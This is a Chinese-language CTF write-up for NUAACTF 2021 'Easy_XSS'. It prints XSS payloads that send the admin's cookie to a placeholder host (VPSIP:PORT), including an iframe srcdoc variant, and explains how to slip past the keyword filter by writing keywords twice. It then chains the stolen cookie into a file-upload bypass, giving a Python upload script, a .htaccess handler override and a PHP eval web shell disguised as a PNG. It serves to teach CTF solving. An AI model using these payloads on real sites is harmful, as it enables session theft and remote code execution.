NUAACTF 2021 Easy_XSS
前言
自己很少做xss的题,特意去网上搜了一下相关的题目,也没找到地方复现,就自己看wp了,去理解一下
原文连接https://miaotony.xyz/2021/05/17/CTF_2021NUAACTF_EasyXSS/#toc-heading-11 自己会引用一些话和内容
进入题目
页面是这样的,发现可以发送post
随便注册一个账户
得到新的页面
需要是admin用户,结合题目信息,就是xss窃取admin的cookie去伪造admin
直接开x
先写个基本的xss语句
<img src='#' onerror="window.location.href='//VPSIP:PORT/'+document.cookie">
观察回显的页面然而发现 img window document on 被替换为空了,location -> locati。
我们可以猜到后端是替换,而不是直接die,这个比较简单,一般就是双写可能绕过,我们试一试
meow
发现实现了跳转
在自己的服务器上接收到管理员的cookie
然后就是去改cookie后发现可以进行文件上传了
<?php
require_once 'init.php';
error_reporting(0);
if ($_SESSION['is_admin'] !== 1) {
echo "You are not admin! You can't access this page.";
highlight_file(__FILE__);
die();
}
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["submit"])) {
$tmp_name = $_FILES["upload"]["tmp_name"];
$name = basename($_FILES["upload"]["name"]);
if (!$tmp_name) {
die();
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph/i", $extension)) {
die("illegal suffix!");
}
$upload_file_path = $userdir . "/" . $name;
if (!move_uploaded_file($tmp_name, $upload_file_path)) {
die("Error!");
}
echo "Your dir " . $userdir . ' <br>';
echo "Your file: ";
var_dump(scandir($userdir));
}
发现检查到只对后缀进行了检查,只要不是ph就可以上传成功
借用师傅的脚本上传文件
import requests
url = "http://45.76.221.54:8005/upload.php"
headers = {
'cookie': 'PHPSESSID=9f767556e4ef66825cb9e3b399e5d243'
}
form_data = {
'submit': (None, '1'),
# 'upload': (f'.htaccess', open(f'.htaccess', 'rb'))
'upload': (f'miao.png', open(f'miao.png', 'rb'))
}
print(form_data)
resp = requests.post(url, headers=headers, files=form_data, timeout=10)
resp.encoding = 'utf-8'
print(resp.content)
这个文件需要自己先在本地创建,然后脚本会去读取内容,然后最重要的是必需有cookie。
.htaccess SetHandler application/x-httpd-php
miao.png <?php @eval($_GET['miao']);?>
后面就是拿flag了,也是搞懂了xss题目大概的做法了
提升
如果是对关键字检查我们又应该怎么做呢
必须绕过关键字了 要么换一样作用的关键字,要么就编码
选择编码
这里师傅用的是html编码,加上iframe srcdoc标签可以解读html内容
<iframe srcdoc="<script>top.location.href='//VPSIP:PORT/'+document.cookie</script>"></iframe>
最后获取到cookie